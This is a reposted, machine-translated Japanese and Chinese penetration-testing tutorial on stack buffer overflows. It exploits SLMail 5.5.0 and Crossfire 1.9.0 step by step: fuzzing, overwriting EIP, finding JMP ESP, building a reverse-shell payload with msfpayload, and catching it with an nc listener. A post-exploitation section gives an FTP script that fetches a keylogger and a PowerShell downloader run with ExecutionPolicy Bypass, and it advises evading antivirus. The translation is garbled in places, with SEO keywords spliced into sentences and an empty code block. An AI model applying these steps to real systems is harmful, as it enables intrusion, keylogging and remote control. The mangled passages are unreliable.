検索
ホームページシステムチュートリアルLinuxLinux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明します

メモの内容は、Security Niu Classroom の Yuan Fanghong 教師による KaliLinux ペネトレーション テスト チュートリアルを参照しています。

すべての脆弱性の核心は、データの入力にあります。バッファ オーバーフローの原理は、データとコードの間の境界があいまいになることです。バッファ境界の制限が厳密でない場合、不正な形式のデータが渡されるため、バッファが損傷します。 「非常に暴力的」で、隣接するビデオメモリ領域のデータを覆い、ビデオメモリのデータを書き換えることに成功し、プロセスの誘拐、悪意のあるコードの実行、サーバー制御の獲得につながる可能性があります。

バッファ オーバーフローの原理をより深く理解するには、著者が転載した記事を参照してください:

スタック オーバーフローについて、開始から終了までを段階的に説明します (パート 1)

スタック オーバーフローについて、開始から終了までを段階的に説明します (パート 2)

記事ディレクトリ

1. 脆弱性の発見方法 (1) ソースコード監査

ソフトウェア開発者は、ソーシャル エンジニアリングやその他の方法を使用して、レビューやデバッグのためにソース コードを取得する場合があります。条件は厳しく、ソースコードは通常入手できません。

(2) リバースエンジニアリング(ReverseEngineering)

リバースエンジニアリングを利用して、解析用のアセンブリソースコードを取得する アセンブリコードの解析は作業量が多く、困難です。

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(3) ファジング

は、ターゲット システムに予期しない入力を提供し、異常な結果を監視することによってソフトウェアの脆弱性を検出する方法です。一般に、これを完了するには、有効な入力とランダムな偏差が使用されます。これには、ソフトウェア デバッグ ツール (ImmunityDebugger など) の使用が必要です。 )。

2. ファズテストのプロセス

まず第一に、バッファ オーバーフローに対するセキュリティ保護テクノロジを理解する必要があります。この保護メカニズムはファズ テスト プロセス中に回避する必要があるためです。

(1)Windows

テスト ソフトウェアは「SLMail5.5.0MailServer」で、その PASS コマンドにはバッファ オーバーフローの脆弱性があります。基本的な考え方: (デバッグ ツールとして ImmunityDebugger を使用する)

1. Python スクリプトを使用して、大量のデータを受信したときに PASS コマンドがオーバーフローするかどうかをテストします。通常、3000 文字を超えてもオーバーフローがない場合は、オーバーフローの脆弱性がないことを意味します。

2. オーバーフロー脆弱性を発見したら、EIP に対応するアドレスを決定しますが、基本的な方法はバイナリ方式とユニークな文字列方式です。固有の文字列メソッドは、metasploit スクリプト usr/share/metasploit-framework/tools/pattern_create.rb3000 を使用して生成できます。

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3. EIP をシェルコードに対応するビデオ メモリ アドレスに変更し、そのアドレス空間にシェルコードを書き込むと、プログラムは EIP レジスタ値を読み取り、シェルコード コード セグメントにジャンプして実行します。

4. デバッグ ツールを通じて、送信されたデータが EIP を埋めた後、ESP が指すスペースを埋めることがわかったので、ESP の場所にシェルコードを配置しました。

5. ESP アドレスからスタックの最下部 Linux アンチバッファ オーバーフロー までの距離、つまり格納できるシェルコードのサイズを決定します。 Python スクリプトを使用してテスト用にソフトウェアにデータを送信し、ソフトウェアをデバッグして、ESP が指すスペースにどれだけのデータが保存されているかを確認します。最新のコンピュータ システム プロセスのメモリ空間ビューを図に示します。

図 1 プロセス メモリ空間のビュー

6. ASLR メカニズムにより、関数呼び出しスタックのアドレスはソフトウェアを実行するたびにランダムに変化するため、ハードコーディングは現実的ではありません。代わりの方法は、ビデオ メモリ内で固定アドレスを持つシステム モジュールを見つけることです。モジュール内の JMPESP 命令のアドレス ジャンプを見つけます。その後、このコマンドは ESP に直接ジャンプし、シェルコードを実行します。mona.py スクリプトを使用してビデオ メモリ モジュールを特定します。「returnaddress」が指定されているモジュールを検索します。 JMPESP コマンドを使用して、DEP および ASLR メカニズムによって保護されていないシステム モジュールを検索します!monamodules. /usr/share/metasploit-framework/tools/nasm_shell.rb を使用して、アセンブリ命令 jmpesp を FFE4 の 2 の補数に変換し、検索しますmodule!monafind-s "xffxe4"-mslmfc.dll の FFE4 命令の場合。命令のアドレスを見つけたら、そのアドレスを EIPlinux バージョンの qq に入力し、シェルコードを構築し、不正な文字を削除します: /msfpayloadwin32_reverseLHOST= 192.168.20.8LPORT=443R|./msfencode-b"x00x0ax0d

注: シェルコードの構築時に選択されたペイロードは、バインドする直接接続ではなくリバース接続です。これにより、ファイアウォールのブロック戦略を回避できます。

7. 最後に、ポート盗聴 nc-vlp443 を有効にします。シェルコードが実行された後、ExitProcess メソッドを使用してプロセス全体を終了します。これにより、SMS サービスがクラッシュします。Slmail はスレッドベースのアプリケーションです。ExitThread メソッドの適用サービス全体のクラッシュを防ぎ、重複を実現できます。

注: さまざまな種類のプログラム、プロトコル、および脆弱性では、個々の文字が不正な文字であると見なされます。これらの文字には用途が決まっているため、不正な文字がリターン アドレス、シェルコード、またはバッファに現れることはありません。すべての不正な文字を見つけるには、0x00 ~ 0xff256 文字を送信します。不正な文字は、metasploit スクリプト ./msfencode を使用してエンコードできます。

8. 攻撃対象をさらに制御したい場合は、レジストリを変更してリモート デスクトップを開くことができます。Windows の設定の 90% 以上はレジストリを変更することで完了できます:

リーリー

(2)Linux

テスト ソフトウェアは「Crossfire」で、1.9.0 には受信ソケット接続を受け入れるときにバッファ オーバーフローの脆弱性があります。基本的な考え方は Windows Fuzzing と同じです (デバッグ ツールとして edb を使用します) ので詳細は説明しませんが、次の点に注意する必要があります。

1. デバッグ コマンド: edb--run/usr/games/crossfire/bin/crossfire

2. バッファ オーバーフローを検証したところ、ペイロードが 4368 バイトに固定されている場合にのみ、EIP の値を正確にカバーできることがわかり、このようにすると、ESP が指すスペースには 7 バイトしか残りません。 Shellcode を置くだけでは不十分なので、edb で検索したところ、データで完全にカバーできるレジスタが EAX を見つけたので、回避策として ESP が EAX にジャンプして Shellcode を実行します。

3. EXPの選択と変更

インターネット上には、長期間にわたって公開されているさまざまなソフトウェアの脆弱性に対するヘルプ コード (EXP) が存在します。信頼できる EXP ソースを選択し、これに基づいて調査や変更を行うことができます。特にシェルコードは簡単には使用できません。

linux anti-buffer Overflow

にはウイルスが含まれている可能性があります Linux システムを使用する場合、習得する必要があるプログラミング言語には、一般的に Python、C、C、Ruby などが含まれます。いくつかの信頼できる経験値ソース: EXP獲得後は以下の点に注意してください。

4.脆弱性発生後の段階

ツールのアップロード、権限の昇格、攻撃痕跡の消去、サイド ドアのインストールなどのさらなる操作が含まれます。ここではファイル アップロード操作のみについて説明します。ファイル アップロードは、トロイの木馬のプレインストールとサイド ドアのインストールの基礎となります。取得したターゲットのオペレーティング システムの情報に基づいて、シェルでファイルのアップロード操作を実行します。

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

以上がLinux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事はITcoolで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。
Linuxシステム管理者の主なタスクは何ですか?Linuxシステム管理者の主なタスクは何ですか?Apr 19, 2025 am 12:23 AM

Linuxシステム管理者の主なタスクには、システムの監視とパフォーマンスチューニング、ユーザー管理、ソフトウェアパッケージ管理、セキュリティ管理とバックアップ、トラブルシューティングと解像度、パフォーマンスの最適化、ベストプラクティスが含まれます。 1. TOP、HTOP、その他のツールを使用して、システムのパフォーマンスを監視し、チューニングします。 2。ユーザーADDコマンドおよびその他のコマンドを介して、ユーザーアカウントとアクセス許可を管理します。 3. APTとYUMを使用してソフトウェアパッケージを管理し、システムの更新とセキュリティを確保します。 4.ファイアウォールを構成し、ログを監視し、データバックアップを実行して、システムセキュリティを確保します。 5.ログ分析とツールの使用を通じてトラブルシューティングと解決。 6.カーネルパラメーターとアプリケーションの構成を最適化し、ベストプラクティスに従ってシステムのパフォーマンスと安定性を向上させます。

Linuxを学ぶのは難しいですか?Linuxを学ぶのは難しいですか?Apr 18, 2025 am 12:23 AM

Linuxの学習は難しくありません。 1.Linuxは、UNIXに基づいたオープンソースオペレーティングシステムであり、サーバー、組み込みシステム、およびパーソナルコンピューターで広く使用されています。 2。ファイルシステムと許可管理を理解することが重要です。ファイルシステムは階層的であり、許可には読み取り、書き込み、実行が含まれます。 3。APTやDNFなどのパッケージ管理システムは、ソフトウェア管理を便利にします。 4。プロセス管理は、PSおよびTOPコマンドを通じて実装されます。 5. MKDIR、CD、Touch、Nanoなどの基本的なコマンドから学習を開始し、シェルスクリプトやテキスト処理などの高度な使用法を試してください。 6.許可問題などの一般的なエラーは、SudoとChmodを通じて解決できます。 7.パフォーマンスの最適化の提案には、HTOPを使用してリソースを監視すること、不要なファイルのクリーニング、SYの使用が含まれます

Linux管理者の給与はいくらですか?Linux管理者の給与はいくらですか?Apr 17, 2025 am 12:24 AM

Linux管理者の平均年salは、米国で75,000〜95,000ドル、ヨーロッパでは40,000〜60,000ユーロです。給与を増やすには、次のことができます。1。クラウドコンピューティングやコンテナテクノロジーなどの新しいテクノロジーを継続的に学習します。 2。プロジェクトの経験を蓄積し、ポートフォリオを確立します。 3.プロフェッショナルネットワークを確立し、ネットワークを拡大します。

Linuxの主な目的は何ですか?Linuxの主な目的は何ですか?Apr 16, 2025 am 12:19 AM

Linuxの主な用途には、1。Serverオペレーティングシステム、2。EmbeddedSystem、3。Desktopオペレーティングシステム、4。開発およびテスト環境。 Linuxはこれらの分野で優れており、安定性、セキュリティ、効率的な開発ツールを提供します。

インターネットはLinuxで実行されますか?インターネットはLinuxで実行されますか?Apr 14, 2025 am 12:03 AM

インターネットは単一のオペレーティングシステムに依存していませんが、Linuxはその上で重要な役割を果たしています。 Linuxは、サーバーやネットワークデバイスで広く使用されており、安定性、セキュリティ、スケーラビリティに人気があります。

Linux操作とは何ですか?Linux操作とは何ですか?Apr 13, 2025 am 12:20 AM

Linuxオペレーティングシステムのコアは、コマンドラインインターフェイスで、コマンドラインを介してさまざまな操作を実行できます。 1.ファイルおよびディレクトリ操作は、ファイルとディレクトリを管理するために、LS、CD、MKDIR、RM、その他のコマンドを使用します。 2。ユーザーおよび許可管理は、useradd、passwd、chmod、その他のコマンドを介してシステムのセキュリティとリソースの割り当てを保証します。 3。プロセス管理は、PS、Kill、およびその他のコマンドを使用して、システムプロセスを監視および制御します。 4。ネットワーク操作には、Ping、Ifconfig、SSH、およびネットワーク接続を構成および管理するためのその他のコマンドが含まれます。 5.システムの監視とメンテナンスは、TOP、DF、DUなどのコマンドを使用して、システムの動作ステータスとリソースの使用を理解します。

Linuxエイリアスを使用したカスタムコマンドショートカットで生産性を高めますLinuxエイリアスを使用したカスタムコマンドショートカットで生産性を高めますApr 12, 2025 am 11:43 AM

導入 Linuxは、柔軟性と効率性により、開発者、システム管理者、およびパワーユーザーが好む強力なオペレーティングシステムです。しかし、頻繁に長く複雑なコマンドを使用することは退屈でERです

Linuxは実際に何に適していますか?Linuxは実際に何に適していますか?Apr 12, 2025 am 12:20 AM

Linuxは、サーバー、開発環境、埋め込みシステムに適しています。 1.サーバーオペレーティングシステムとして、Linuxは安定して効率的であり、多くの場合、高電流アプリケーションの展開に使用されます。 2。開発環境として、Linuxは効率的なコマンドラインツールとパッケージ管理システムを提供して、開発効率を向上させます。 3.埋め込まれたシステムでは、Linuxは軽量でカスタマイズ可能で、リソースが限られている環境に適しています。

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SecLists

SecLists

SecLists は、セキュリティ テスターの究極の相棒です。これは、セキュリティ評価中に頻繁に使用されるさまざまな種類のリストを 1 か所にまとめたものです。 SecLists は、セキュリティ テスターが必要とする可能性のあるすべてのリストを便利に提供することで、セキュリティ テストをより効率的かつ生産的にするのに役立ちます。リストの種類には、ユーザー名、パスワード、URL、ファジング ペイロード、機密データ パターン、Web シェルなどが含まれます。テスターはこのリポジトリを新しいテスト マシンにプルするだけで、必要なあらゆる種類のリストにアクセスできるようになります。

PhpStorm Mac バージョン

PhpStorm Mac バージョン

最新(2018.2.1)のプロフェッショナル向けPHP統合開発ツール

AtomエディタMac版ダウンロード

AtomエディタMac版ダウンロード

最も人気のあるオープンソースエディター

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強力な PHP 統合開発環境